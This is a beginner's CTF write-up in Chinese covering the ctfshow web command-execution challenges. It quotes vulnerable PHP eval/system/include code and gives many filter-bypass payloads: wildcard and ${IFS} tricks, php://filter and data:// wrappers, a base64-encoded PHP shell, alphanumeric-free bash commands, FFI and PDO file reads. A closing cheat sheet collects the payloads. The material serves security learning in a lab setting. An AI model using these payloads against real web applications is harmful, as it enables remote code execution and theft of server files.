ctfshow_web入门 命令执行

命令执行

刚刚开始学习命令执行,萌新一个

因为是学习嘛,所以东西写的杂乱了

web 29

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}
这里过滤了flag这个字符串

解法一:利用通配符$

payload:?c=system('cat fla*');

image-20210717232833252

只是刚刚输入完这个之后,由于是空白页面,以为错误了

解法一,变式:修改文件名

image-20210717231237581

image-20210717231305693

解法二:利用``执行命令

payload:?c=system('cat ls');

ls是用反引号包起来的,既执行命令ls(打印出当前目录的文件名),然后用cat读出文件内容

image-20210717231127895

解法三:字符串拼接

image-20210717232948083

image-20210717233205092asd

web30

忘了贴代码,这里是将system和flag过滤了

试了一手:?c=echo cat fla*;

image-20210717235920881

web31

if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

群主解法:构造新的执行点

给c传一个eval($_GET[a])进去,再给a出入代码,执行。

牛批的嗷!

image-20210718001150624

上图是验证一下,下图就是cat flag.php了

image-20210718001406009

payload=>?c=eval($_GET[a]);&a=system('cat flag.php');

解法二 hint

无参数读文件和RCE总结 - FreeBuf网络安全行业门户

由于是看的hint,就分析一下

payload=>show_source(next(array_reverse(scandir(pos(localeconv())))));

php函数:

localeconv() 函数返回一包含本地数字及货币格式信息的数组。

image-20210719113611081

image-20210719112038718

pos() 函数返回数组中的当前元素的值(指的是:指针指向的元素)。

image-20210719112451102

scandir() 函数返回指定目录中的文件和目录的数组

image-20210719112325397

array_reverse():将数组倒叙输出

image-20210719113308584

next():将内部指针指向数组的下一个元素并输出

show_source() 函数对文件进行语法高亮显示,是highlight_file()别名。

image-20210718003225628

所以,语句的步骤是:
先拿到一个.==》localeconv() pos()
接着扫描.目录,即当前目录==》scandir()
将扫描完的目录倒叙==》array_reverse(),因为正序第一第二分别是:. ..
将倒叙完毕的数组的第二个元素输出==》next()
打印文件信息==》show_source()

web 32

过滤了:
flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(

这里考虑:利用文件包含以及伪协议读取

?c=include%0a$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php

这里伪协议的意思是,php://filter(过滤器)/convert.base64-encode(base64编码的过滤器)/resource=flag.php

通过指定的通道读取资源,base64-encode的一个通道

为什么$_GET[a]不用单引号?

因为PHP要向下兼容,所以可以不用单引号,以后可能会取消

web33

过滤了:
flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"
比上面多了一个"

?c=include%0a$_REQUEST[a]?>&a=php://filter/convert.base64-encode/resource=flag.php

将引号去掉即可

web34

语言结构:不需要使用括号的函数 echo print isset unset include require

过滤了:
flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\
比上面多了(  :

因为上面的payload本来就没有使用到( :,所以直接用上面的payload即可

因为过滤的是$c,所以我们输入的a是没得影响的

?c=include%0a$_REQUEST[a]?>&a=php://filter/convert.base64-encode/resource=flag.php

web35

flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=
多了< " =

因为上面的payload本来就没有使用到< " =,所以直接用上面的payload即可

因为过滤的是$c,所以我们输入的a是没得影响的

?c=include%0a$_REQUEST[a]?>&a=php://filter/convert.base64-encode/resource=flag.php

web 36

flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]
多了 / 数字

因为上面的payload本来就没有使用到 / 数字,所以直接用上面的payload即可

因为过滤的是$c,所以我们输入的a是没得影响的

?c=include%0a$_REQUEST[a]?>&a=php://filter/convert.base64-encode/resource=flag.php

web 37

if(isset($_GET['c'])){    
  $c = $_GET['c'];    
  if(!preg_match("/flag/i", $c)){        
    include($c);        
    echo $flag;   
  }        
}else{    
  highlight_file(__FILE__);
}

data伪协议:将后面的字符当做PHP代码执行

data://,类似php://input,可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行。

?c=data://text/plain,<?php system("cat fl*");?>  

看源代码,因为flag.php注释注释了flag,所以看不见,需要查看源代码

也可以使用tac来读取,破坏php的注释规则,就可以直接在页面上看见flag了

web 38

error_reporting(0);if(isset($_GET['c'])){    
  $c = $_GET['c'];    
  if(!preg_match("/flag|php|file/i", $c)){        
    include($c);        
     echo $flag;        
  }        
}else{    
  highlight_file(__FILE__);
}
多过滤了 php file

依旧利用data伪协议,换一种PHP代码写法,是短标签

?c=data://text/plain, 插看源代码

也可考虑加密:格式?page=data://text/plain;base64,[base64_encode_shell]

?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/PiA=

<?php system("cat flag.php");?> 进行base64加密是:PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/PiA=

两种方式都各有好处,因为是做题学习,所以能多解就多解,毕竟俺也是个菜弟弟,能写详细就详细点了

web 39

error_reporting(0);if(isset($_GET['c'])){    
  $c = $_GET['c'];    
  if(!preg_match("/flag/i", $c)){        
    include($c.".php");    
  }        
}else{    
  highlight_file(__FILE__);
}
没有回显,且强制加后缀

上面的payload也可以用

web 40

if(isset($_GET['c'])){    
  $c = $_GET['c'];    
  if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){        
  eval($c);    
  }
}额,这里的括号应该是中文括号,对比一下  |\(中文括号|\(英文括号|没有过滤英文括号,下划线,分号,空格

解法一:利用PHP函数

如果没有过滤英文括号,可以试一下用PHP自带的函数,web31中有解释

?c=show_source(next(array_reverse(scandir(pos(localeconv())))));

解法二:hint 利用session

?c=session_start();system(session_id());

接着F12,将PHPSESSID的值修改为ls

image-20210719174107105

阿巴阿巴,弟弟绕不过,呜呜呜

解法三:设置变量,执行变量,骚姿势

?c=eval(array_pop(next(get_defined_vars())));

post传入:1=phpinfo

image-20210720112309663

群主牛批!!!

web 41

这里请参看这一位师傅的博客ctfshow web 入门 web 41

web 42

if(isset($_GET['c'])){    
  $c=$_GET['c'];    
  system($c." >/dev/null 2>&1");
 }else{    
  highlight_file(__FILE__);
}
ststem($c.">/dev/null 2>&1")将执行的c的结果输入到/dev/null中shell中打开3中文件描述符,1代表标准输出,2代表错误输出,3代表标准输入这里是将错误输出绑定到标准输出中,然后就会统一输出到/dev/null中

?c=ls;ls

?c=tac flag.php;ls

;前面的被执行了返回结果,后面的执行了被放入/dev/null中

tac会对HTML的注释产生破坏,所以就会直接显示出来

web 43

if(isset($_GET['c'])){    
  $c=$_GET['c'];   
  if(!preg_match("/\;|cat/i", $c)){        
    system($c." >/dev/null 2>&1");    
  }
}else{    
  highlight_file(__FILE__);
}
过滤了;和cat

cmd1 && cmd2 cmd1执行正确执行完毕后才执行cmd2

cmd1 || cmd2 cmd1执行错误执行完毕后才执行cmd2

?c=tac flag.php%26%26ls

%26是url加密的&,当tac执行完毕,再执行ls,进行了分割

也可以用%0a换行符

原理和web42一样

web 44

if(isset($_GET['c'])){    
  $c=$_GET['c'];    
  if(!preg_match("/;|cat|flag/i", $c)){        
    system($c." >/dev/null 2>&1");    
  }
}else{    
  highlight_file(__FILE__);
}
比上面多了flag

用通配符过滤就行

?c=tac fla*%26

web 45

if(isset($_GET['c'])){    
  $c=$_GET['c'];    
  if(!preg_match("/\;|cat|flag| /i", $c)){     
     system($c." >/dev/null 2>&1");    
  }
}else{     
  highlight_file(__FILE__);
}比上面多了空格

?c=tac%09fla*%26%26(%09水平定位符)

?c=tac${IFS}fla*%26%26

?c=echo${IFS}`tac${IFS}f*`%0A

web 46

if(isset($_GET['c'])){    
  $c=$_GET['c'];   
  if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){        
    system($c." >/dev/null 2>&1");   
  }
}else{    
  highlight_file(__FILE__);
}比上面多了数字,$ *

web 45的f*改成fla?.php即可

?c=tac%09fla?.php%26%26

%26是进行了URL编码的&,不能当做数字

web 47

if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){        
  system($c." >/dev/null 2>&1");    
}
比上面多了,more less head sort tail 

?c=tac%09fla?.php%26%26

即可

web 48

if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){        
  system($c." >/dev/null 2>&1");    
} 

tac依旧可用

web 48

tac依旧可用

web 50

if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){    
  system($c." >/dev/null 2>&1");
}     

利用shell特性''分割字符

?c=nl<fla''g.php%7c%7c

命令 nl

nl 可以将输出的文件内容自动的加上行号!其默认的结果与 cat -n 有点不太一样, nl 可以将行号做比较多的显示设计,包括位数与是否自动补齐 0 等等的功能。

1. 命令格式:

nl [选项]... [文件]...

2. 命令参数:

-b :指定行号指定的方式,主要有两种:

-b a :表示不论是否为空行,也同样列出行号(类似 cat -n);

-b t :如果有空行,空的那一行不要列出行号(默认值);

-n :列出行号表示的方法,主要有三种:

-n ln :行号在萤幕的最左方显示;

-n rn :行号在自己栏位的最右方显示,且不加 0 ;

-n rz :行号在自己栏位的最右方显示,且加 0 ;

-w :行号栏位的占用的位数。

-p 在逻辑定界符处不重新开始计算。

3. 命令功能:

nl 命令读取 File 参数(缺省情况下标准输入),计算输入中的行号,将计算过的行号写入标准输出。 在输出中,nl 命令根据您在命令行中指定的标志来计算左边的行。 输入文本必须写在逻辑页中。每个逻辑页有头、主体和页脚节(可以有空节)。 除非使用 -p 标志,nl 命令在每个逻辑页开始的地方重新设置行号。 可以单独为头、主体和页脚节设置行计算标志(例如,头和页脚行可以被计算然而文本行不能)。

4.****使用实例:

实例一:用 nl 列出 log2012.log 的内容

命令:

nl log2012.log

输出:

[root@localhost test]# nl log2012.log    1 2012-01   2 2012-02

web 51

过滤了tac

用nl<fla''g.php%7c%7cls即可

web 52

没过滤$,用${IFS}代替空格

?c=nl${IFS}fla''g.php%7c%7cls

image-20210721120452597

找到一个假的,然后查看一下根目录

?c=ls${IFS}/||

image-20210721120522569

?c=nl${IFS}/fla?%7c%7c

image-20210721120542388

web 53

依旧没有过滤$,而且没有2<^&1了

?c=nl${IFS}fla?.php

?c=nl${IFS}fla''g.php

web 54

if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){        
  system($c);
} 

解法一:grep

image-20210721150732130

?c=grep${IFS}'fla'${IFS}fla?.php

解法二:paste

Linux paste 命令 | 菜鸟教程 (runoob.com)

简单说明一下:paste file1 file2,将文件1和file2合并(但是并没有真的合并成一个文件),并且在终端显示;;可以理解为打印file1 和 file2

image-20210721152951621

?c=paste${IFS}

解法三:mv

将flag.php文件名字给改了,直接访问

?c=mv${IFS}fl?g.php${IFS}a.txt

url/a.txt

image-20210721154059678

image-20210721154050497

image-20210721154129615

hint:/bin/?at${IFS}f???????

/bin/?at${IFS}f???????查看源代码

看不懂了

web 55

if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){        
system($c);    
}
没过滤 . 空格 ?

(38条消息) 继无字母数字的命令执行(ctfshow web入门 55)新姿势_Firebasky的博客-CSDN博客

解法一:

因为过滤了字母,有一个含数字的base64命令可以读文件,用通配符绕过字母,在/bin目录下,使用/???/????64
?c=/bin/base64 flag.php(flag.php全靠猜)
即?c=/???/????64 ????.???

解法二:

bzip2命令是一个压缩文件的命令,压缩文件后缀为.bz2,命令路径:/usr/bin/bzip2
?c=/bin/bzip2 flag.php
即?c=/???/????2 ????.???
压缩后下载,访问/flag.php.bz2。

解法三:上传文件

请看一下群主在B站视频详解,点击跳转

无字母数字webshell之提高篇 | 离别歌 (leavesongs.com)

(38条消息) 无字母数字的命令执行(ctfshow web入门 55)_Firebasky的博客-CSDN博客

潜说一下原因:

. filename和source filename 都是直接编译文件

由于php上传文件之后,上传到tem目录下,在tem目录下临时保存为一个phpxxxxX(大写)? 的一个文件名

知道这个特性,就可以直接去编译这个临时文件!!!

/?c=.%20/???/????????[@-[]

image-20210722000205207

web 56

if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){   
  system($c);
} 
没过滤 . 空格 ?

方法同web 55方法三

web 58

没有过滤

post c=show_source(next(array_reverse(scandir(pos(localeconv())))));

然后看了一下题,原来是禁用函数,上面纯属误打误撞

先传入c=phpinfo();看看有什么函数被禁用了

然后发现phpinfo也被禁用了。。。妙啊,既然如此就一个一个试

发现:system,shell_exec被禁用,可以使用file_get_contents()

post c=echo file_get_contents('flag.php');

post c=show_source('flag.php'); 也行,也对,人家没有过滤flag,可以直接读取诶

web 59

这里吧file_get_contents()禁用了

post c=show_source(flag.php);

post c=include($_GET['1']); ?1=php://filter/convert.base64-encode/resource=flag.php

image-20210723115107483

post c=highlight_file('fllag.php');

post c=print_r(scandir('/')); 查看目录

web 60

post c=include($_GET[1]); ?1=php://filter/convert.base64-encode/resource=flag.php

post c=highlight_file('flag.php');

post c=show_source('flag.php');

web 61

同60

web 62

继续白嫖60,又有一个骚姿势

post c=include('flag.php');echo $flag; (前提是我们知道是在flag.php中,且$flag是flag)

web 63

62方法plus

get_defined_ vars():返回已经定义了的变量名和数组名

由于已经将flag.php给include了,所以flag.php中的变量也会被输出

post c=include('flag.php');var_dump(get_defined_vars());

image-20210723122913945

所以,现在不需要知道flag.php中的变量名是什么也行;

62方法plus++ (什么都不需要知道)

扫描目录:post c=var_dump(scandir('./'));

加载文件:post c=include('flag.php');var_dump(get_defined_vars());

62方法plus++ pro

一步到位:post c=include(scandir('./')[2]);var_dump(get_defined_vars());

print_r和var_dump虽然有区别,由于我们这里的都是一些简单的字符串,所以没啥影响

魔改:

日志包含:这里建议去看看群主的方法B站里面

web 64

哈哈哈,白嫖62方法

嘿嘿嘿,本来跟着视频想用一下rename()的,可惜不行,重命名,群主师傅最喜欢的方式

web 65

白嫖前面的可以

web 66

show_source()被ban了,但是还是可以使用highlight_file

先使用post c=print_r(scandir('./'));找一下flag文件在什么位置

然后发现在根目录下有一个flag.txt

用highlight_file('flag.txt');读出来flag就行

web 67

嫖web66

web 68

ban了,highlight_file,print_r

可以使用var_dump,include

flag在根目录下的flag.txt中

由于是txt文件,所以直接引入就行,引入了会当做普通文本信息,直接输入

post c=include('/flag.txt');

web 69

web 68方法可以直接用

看了一下其它师傅的wp,说的是print_r var_dump被ban了

可以使用var_export()来进行输出,用来查看目录

web 70

继续白嫖,var_export也可以用

web 71

有个附件image-20210723161038445

post c=var_export(scandir('/'));exit();

发现flag在根目录下,为flag.txt

post c=include('/flag.txt');exit();

web72

image-20210723161412845

看样子应该是增加了过滤

emmmm,scandir没了

利用glob协议扫描目录

c=$a="glob:///*.txt";if($b=opendir($a)){	
  while(($file=readdir($b))!==false){		
  echo "filename:",$file."\n";	
}	
closedir($b);
}
exit();
这也是扫描目录的,上面是直接找.txt结尾的文件,这里相当于是ls注意,glob:///*是glob://协议   /*是根目录下所有文件
c=?><?php	
$a=new DirectoryIterator("glob:///*");
foreach($a as $f){echo($f->__toString().' ');}
exit(0);?>

image-20210723163129934

读取到flag0.txt

额,然后到ctfshow交流群中下载72poc.php的一个文件

把文件内容直接粘贴上去,经过url编码就可以得到flag

大佬们太强了orz

web 73

先扫一下目录,得到flag文件为flagc.txt文件

继续使用72poc.php中的代码,发现有个strlen被禁用了,考虑将strlen函数重写

但是超内存了,好像还是不行

不过这里可以直接使用include('/flagc.txt');exit()

web 74

include('/flagc.txt');exit()

web 75

扫描出来是flag36.txt

c=try {    $dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root',        'root');    
foreach ($dbh->query('select load_file("/flag36.txt")') as $row) {        echo ($row[0]) . "|";    }    $dbh = null;} 
catch (PDOException $e) {    echo $e->getMessage();    exit(0);}exit(0);

PDO这个不会,说的是前面几个题可以查到数据库名称

额,但是问题是,账号密码呢?哪里的配置文件哦?

web 76

同上

web 77

利用7.4的特性,命令接口

c=$ffi=FFI::cdef("int system(const char *command);");
$a='readflag>/var/www/html/1.txt';	
//这里放命令就行,readflag是题目里面的一个脚本$ffi->system($a);

这个姿势有点牛批的嗷!!!

web 118

牛批的嗷!!!这道题利用bash的内置变量构造出了nl flag.php

首先是知道flag是在flag.php中的,题目有说明

接着从正常的内置命令中,截取字符构造出想要的字符

image-20210724175636153

A,B,C等代表0,代表取后几位;A,取最后一位的前一位

image-20210724175825641

image-20210724175940385

由于hint中给了一张图,一张路劲的图片,一张ls

然后用${PATH:A}表示n,${PWD:A}代表l,就有了nl

nl,然后执行命令

${PATH:A}${PWD:A} fla?.php

web 119

这里大师傅们用了这两个内置变量:RANDOM和SHLVL。

RANDOM
此变量值,随机出现整数,范围为0-32767。不过,虽然说是随机,但并不是真正的随机,因为每次得到的随机数都一样。为此,在使用RANDOM变量前,请随意设定一个数字给RANDOM,当做随机数种子,这样才不会每次产生的随机数其顺序都一样。

因此光利用RANDOM这个函数理论上就可以得到数字1-5了,不过相对来说4和5的概率会更大。

SHLVL 是记录多个 Bash 进程实例嵌套深度的累加器

不理解也没关系,只要知道这个东西的默认值是1,而且如果不进行一些特殊的操作的话,永远都是1,所以这个可以帮助我们得到数字1。

yu师傅使用的是/bin/base64 flag.php,因此考虑构造出/和数字4就可以了,当然数字6也不是不能构造。最终payload如下:

${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?????${#RANDOM} ????.???

由于是随机数,所以要多执行几次才能看见答案案

web 120

可以白嫖web119

hint中用了${user},额,试了一下,看不懂

${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?${USER:~A}? ????.???

web 121

可以继续白嫖web119

因为过滤了SHLVL,所以需要将${SHLVL}修改为${##}或者${#?}

#?代表上一次

hint:

${PWD::${#?}}???${PWD::${#?}}${PWD:${#IFS}:${#?}}?? ????.???

PWD是/var/www/html正好有一个r,且${#IFS}为3

用的是,/bin/rev来读取flag文件,这是将文件内容倒叙输出

不过,不知道用的是什么系统,Ubuntu下没有/bin/rev,只有rev

image-20210724214907593

web 122

嗯,这个实在是有点不行,就直接复制粘贴了

又ban了许多东西,ban了PWD可以用HOME代替,但是把#给ban就非常难受了,没想到比较好的办法。
看了一下yu师傅的WP,还是利用$?,获取上一条命令执行结束后的返回值,0代表成功,非0代表失败。而且这个返回值原来是可控的:

"OS error code   1:  Operation not permitted"
"OS error code   2:  No such file or directory"
"OS error code   3:  No such process"
"OS error code   4:  Interrupted system call"
"OS error code   5:  Input/output error"
"OS error code   6:  No such device or address"
"OS error code   7:  Argument list too long"
"OS error code   8:  Exec format error"
"OS error code   9:  Bad file descriptor"
"OS error code  10:  No child processes"
"OS error code  11:  Resource temporarily unavailable"
"OS error code  12:  Cannot allocate memory"
"OS error code  13:  Permission denied"
"OS error code  14:  Bad address"
"OS error code  15:  Block device required"
"OS error code  16:  Device or resource busy"
"OS error code  17:  File exists"
"OS error code  18:  Invalid cross-device link"
"OS error code  19:  No such device"
"OS error code  20:  Not a directory"
"OS error code  21:  Is a directory"
"OS error code  22:  Invalid argument"
"OS error code  23:  Too many open files in system"
"OS error code  24:  Too many open files"
"OS error code  25:  Inappropriate ioctl for device"
"OS error code  26:  Text file busy"
"OS error code  27:  File too large"
"OS error code  28:  No space left on device"
"OS error code  29:  Illegal seek"
"OS error code  30:  Read-only file system"
"OS error code  31:  Too many links"
"OS error code  32:  Broken pipe"
"OS error code  33:  Numerical argument out of domain"
"OS error code  34:  Numerical result out of range"
"OS error code  35:  Resource deadlock avoided"
"OS error code  36:  File name too long"
"OS error code  37:  No locks available"
"OS error code  38:  Function not implemented"
"OS error code  39:  Directory not empty"
"OS error code  40:  Too many levels of symbolic links"
"OS error code  42:  No message of desired type"
"OS error code  43:  Identifier removed"
"OS error code  44:  Channel number out of range"
"OS error code  45:  Level 2 not synchronized"
"OS error code  46:  Level 3 halted"
"OS error code  47:  Level 3 reset"
"OS error code  48:  Link number out of range"
"OS error code  49:  Protocol driver not attached"
"OS error code  50:  No CSI structure available"
"OS error code  51:  Level 2 halted"
"OS error code  52:  Invalid exchange"
"OS error code  53:  Invalid request descriptor"
"OS error code  54:  Exchange full"
"OS error code  55:  No anode"
"OS error code  56:  Invalid request code"
"OS error code  57:  Invalid slot"
"OS error code  59:  Bad font file format"
"OS error code  60:  Device not a stream"
"OS error code  61:  No data available"
"OS error code  62:  Timer expired"
"OS error code  63:  Out of streams resources"
"OS error code  64:  Machine is not on the network"
"OS error code  65:  Package not installed"
"OS error code  66:  Object is remote"
"OS error code  67:  Link has been severed"
"OS error code  68:  Advertise error"
"OS error code  69:  Srmount error"
"OS error code  70:  Communication error on send"
"OS error code  71:  Protocol error"
"OS error code  72:  Multihop attempted"
"OS error code  73:  RFS specific error"
"OS error code  74:  Bad message"
"OS error code  75:  Value too large for defined data type"
"OS error code  76:  Name not unique on network"
"OS error code  77:  File descriptor in bad state"
"OS error code  78:  Remote address changed"
"OS error code  79:  Can not access a needed shared library"
"OS error code  80:  Accessing a corrupted shared library"
"OS error code  81:  .lib section in a.out corrupted"
"OS error code  82:  Attempting to link in too many shared libraries"
"OS error code  83:  Cannot exec a shared library directly"
"OS error code  84:  Invalid or incomplete multibyte or wide character"
"OS error code  85:  Interrupted system call should be restarted"
"OS error code  86:  Streams pipe error"
"OS error code  87:  Too many users"
"OS error code  88:  Socket operation on non-socket"
"OS error code  89:  Destination address required"
"OS error code  90:  Message too long"
"OS error code  91:  Protocol wrong type for socket"
"OS error code  92:  Protocol not available"
"OS error code  93:  Protocol not supported"
"OS error code  94:  Socket type not supported"
"OS error code  95:  Operation not supported"
"OS error code  96:  Protocol family not supported"
"OS error code  97:  Address family not supported by protocol"
"OS error code  98:  Address already in use"
"OS error code  99:  Cannot assign requested address"
"OS error code 100:  Network is down"
"OS error code 101:  Network is unreachable"
"OS error code 102:  Network dropped connection on reset"
"OS error code 103:  Software caused connection abort"
"OS error code 104:  Connection reset by peer"
"OS error code 105:  No buffer space available"
"OS error code 106:  Transport endpoint is already connected"
"OS error code 107:  Transport endpoint is not connected"
"OS error code 108:  Cannot send after transport endpoint shutdown"
"OS error code 109:  Too many references: cannot splice"
"OS error code 110:  Connection timed out"
"OS error code 111:  Connection refused"
"OS error code 112:  Host is down"
"OS error code 113:  No route to host"
"OS error code 114:  Operation already in progress"
"OS error code 115:  Operation now in progress"
"OS error code 116:  Stale NFS file handle"
"OS error code 117:  Structure needs cleaning"
"OS error code 118:  Not a XENIX named type file"
"OS error code 119:  No XENIX semaphores available"
"OS error code 120:  Is a named type file"
"OS error code 121:  Remote I/O error"
"OS error code 122:  Disk quota exceeded"
"OS error code 123:  No medium found"
"OS error code 124:  Wrong medium type"
"OS error code 125:  Operation canceled"
"OS error code 126:  Required key not available"
"OS error code 127:  Key has expired"
"OS error code 128:  Key has been revoked"
"OS error code 129:  Key was rejected by service"
"OS error code 130:  Owner died"
"OS error code 131:  State not recoverable"
"MySQL error code 132: Old database file"
"MySQL error code 133: No record read before update"
"MySQL error code 134: Record was already deleted (or record file crashed)"
"MySQL error code 135: No more room in record file"
"MySQL error code 136: No more room in index file"
"MySQL error code 137: No more records (read after end of file)"
"MySQL error code 138: Unsupported extension used for table"
"MySQL error code 139: Too big row"
"MySQL error code 140: Wrong create options"
"MySQL error code 141: Duplicate unique key or constraint on write or update"
"MySQL error code 142: Unknown character set used"
"MySQL error code 143: Conflicting table definitions in sub-tables of MERGE table"
"MySQL error code 144: Table is crashed and last repair failed"
"MySQL error code 145: Table was marked as crashed and should be repaired"
"MySQL error code 146: Lock timed out; Retry transaction"
"MySQL error code 147: Lock table is full;  Restart program with a larger locktable"
"MySQL error code 148: Updates are not allowed under a read only transactions"
"MySQL error code 149: Lock deadlock; Retry transaction"
"MySQL error code 150: Foreign key constraint is incorrectly formed"
"MySQL error code 151: Cannot add a child row"
"MySQL error code 152: Cannot delete a parent row"

yu师傅说${}的报错在本地返回时1,但是题目环境是2,所以放开了<<A的报错返回也是1,所以就成功得到了数字1,至于数字4拿RANDOM随机就可以了。
不过为什么${}和<A这样的报错归属为Operation not permitted我也很迷。。。yu师傅说${}的报错在本地返回时1,但是题目环境是2,所以放开了<<A的报错返回也是1,所以就成功得到了数字1,至于数字4拿RANDOM随机就可以了。不过为什么${}和<A这样的报错归属为Operation not permitted我也很迷。。。

最终payload如下:

<A;${HOME::$?}???${HOME::$?}?????${RANDOM::$?} ????.???

————————————————
版权声明:本文为CSDN博主「bfengj」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/rfrder/article/details/112862827

小知识点总结

过滤不严谨

  1. nl命令:读取文件内容,相当于cat

  2. ``执行命令之后记得用echo进行回显

  3. echo 后面要带上;

  4. ``效果和system作用相似,但是用法不同(echo `` system(''))

  5. %09 tab键

  6. 利用PHP函数show_source(next(array_reverse(scandir(pos(localeconv())))));

  7. passthru()执行外部程序并且显示原始输出

  8. 利用文件包含,php://filter/convert.base64-encode/resource=flag.php

绕过空格

  1. %0a 换行符
  2. %09 水平定位符
  3. $IFS $
  4. <> 需要写的权限
  5. <
  6. %3c就是<
  7. 还看见一个

语言结构

  1. 可以不使用括号的函数:echo print isset unset require include
  2. PHP可以大写,例如:PHPINFO() PHPinfo() 也可以写成 ('phpinfo')() ("system")("ls")

system($c)过滤

  1. 过滤 ; 利用%0a && & ||
  2. 过滤空格
    1. $
    2. %0a 1
    3. nl<fla''g.php shell特性

(38条消息) CTF中命令执行知识点总结_Hello_super的博客-CSDN博客

erR0Ratao (cnblogs.com)web42-54绕过总结

Linux查看文件命令

cat //cat flag.php
tac //tac flag.php
head //head flag.php
tail //tail flag.php
nl //nl flag.php
more //more flag.php
less //less flag.php
od //od flag.php
grep //grep 'fla' flag.php
strings //strings flag.php
sort //sort flag.php

无字母类型

因为过滤了字母,有一个含数字的base64命令可以读文件,用通配符绕过字母,在/bin目录下,使用/???/????64
?c=/bin/base64 flag.php(flag.php全靠猜)
即?c=/???/????64 ????.???

压缩包

bzip2命令是一个压缩文件的命令,压缩文件后缀为.bz2,命令路径:/usr/bin/bzip2
?c=/bin/bzip2 flag.php
即?c=/???/????2 ????.???
压缩后下载,访问/flag.php.bz2。

上传文件

看上面的解析

禁用函数中执行:eval($c)

  1. c=show_source(next(array_reverse(scandir(pos(localeconv())))));
  2. c=echo file_get_contents(flag);
  3. c=include($_GET['1']); ?1=php://filter/convert.base64-encode/resource=flag.php
  4. c=highlight_file('flag.php');
  5. post c=include('flag.php');echo $flag; (前提是我们知道是在flag.php中,且$flag是flag)
  6. 日志执行,实在是看又看不懂

查看目录:

print_r(scandir("/"));

var_dump(scandir("/"));

var_export(scandir("/"));(一般过滤前两个)

Linux 基础知识:Bash的内置变量_Craft Life的技术博客_51CTO博客

常见 Bash 内置变量介绍 - sparkdev - 博客园 (cnblogs.com)

所使用的命令

因为总结题型不太好,于是就将大部分命令列了出来,看到命令,基本就能够回忆题型

?c=system('cat `ls`');
?c=echo `cat fla*`;
?c=eval($_GET[a]);&a=system('cat flag.php');
?c=show_source(next(array_reverse(scandir(pos(localeconv())))));

?c=include%0a$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php
?c=include%0a$_REQUEST[a]?>&a=php://filter/convert.base64-encode/resource=flag.php
?c=include%0a$_REQUEST[a]?>&a=php://filter/convert.base64-encode/resource=flag.php
?c=include%0a$_REQUEST[a]?>&a=php://filter/convert.base64-encode/resource=flag.php
?c=data://text/plain,<?php system("cat fl*");?> 
?c=data://text/plain,<?= system("cat fl*");?>  
?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/PiA=

array_pop获取post传入的phpinfo(),然后eval执行,当确定能够执行之后,将phpinfo()换成system('cat flag.php');
?c=eval(array_pop(next(get_defined_vars())));
post 1=phpinfo()

?c=ls;ls
?c=tac flag.php;ls
?c=tac flag.php%26%26ls	%26是&
?c=tac fla*%26
?c=tac${IFS}fla*%26%26
?c=echo${IFS}`tac${IFS}f*`%0A		${IFS}是空格 %0a是提行
?c=tac%09fla?.php%26%26
?c=tac%09fla?.php%26%26
?c=nl<fla''g.php%7c%7c		$7c是| <是空格
?c=ls${IFS}/||
?c=nl${IFS}/fla?%7c%7c
?c=grep${IFS}'fla'${IFS}fla?.php
?c=paste${IFS}fla?.php

?c=mv${IFS}fl?g.php${IFS}a.txt
?c=/bin/?at${IFS}f???????	因为cat是在/bin/目录下,这里相当于是执行cat命令,可以在虚拟机中尝试

无字母
?c=/bin/base64 flag.php(flag.php全靠猜)  即?c=/???/????64 ????.???
?c=/bin/bzip2 flag.php 即?c=/???/????2 ????.???
还有一招上传文件,post    /?c=.%20/???/????????[@-[]	.和source相同,是编译文件

禁函数
rename()
post c=show_source('flag.php');  
post c=echo file_get_contents('flag.php');
post c=include($_GET['1']);     ?1=php://filter/convert.base64-encode/resource=flag.php
post c=highlight_file('flag.php');
